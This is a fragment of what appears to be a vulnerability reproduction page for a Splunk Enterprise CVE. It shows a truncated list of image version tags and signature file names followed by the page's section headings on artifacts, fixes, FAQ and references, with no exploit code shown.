===\n10.4-rhel9\n10.2-rhel9\n10.0-rhel9\n10.4.1-rhel9\n10.2.5-rhel9\n10.0.8-rhel9\n10.0\n10.0.8\n10.2\nsha256-461c82b0989c02168383020b7cfa12da414c0415c10e2301ff0ff04cd2621101.sig\n10.2.5\n10.4\n10.4.1\nsha256-cf924ed3c7ddb8433c9d3e7bf0bdb3c5c9e107b9302320b2b05a9665c698b8e9.sig\nsha256-457401d40520b6096570793dd8cffdec6649776f1521ded84bad64974e10d2dc.sig\n10.2.4-rhel9\n10.0.7-rhel9\nsha256-0f11c48c8948ba536d7704255d784ac156899e549725f070a0e2b10d5eaf3f2b.sig\nsha256-541d4ea893dff222d0f449cc1e6978a403cf538edced3286907277f9c0544107.sig\n10.2.4\n10.0.7\n10.4.0-rhel9\n10.4.0\n10.2.3\n10.0.6\nsha256-6a79a2772def4a024f4562b9223720517f5d906b4ea25d3a2b2f4cac6c10b969.sig\nsha256-bcae65ab3a06730cdb07da9f1ac8d14c50df8d8c3100aed2e1b6527da55739ef.sig\n10.2.3-rhel9\n10.0.6-rhel9\n10.2.2-rhel9\n10.0.5-rhel9\nsha256-184e80b079f149cae1134dd6330e077fd510f4ea87216a0d6ebd4399782d648c.sig\n10.2.2\n10.0.5\n9.4.10\n10.2.1-rhel9\n10.0.4-rhel9\nsha256-bd10b590d05299ee3f421d84d4c1700628a32a2e6110af816f060047269a9343.sig\n10.0.4\n10.2.1\n=== name 9 ===\n10.4-rh… [truncated]Artifacts and Evidence for CVE-2026-20253
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-20253
FAQ: CVE-2026-20253
Is CVE-2026-20253 exploitable without authentication?
Which versions of Splunk Enterprise are affected by CVE-2026-20253?
How can I reproduce CVE-2026-20253?
References for CVE-2026-20253
Authoritative sources for CVE-2026-20253 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.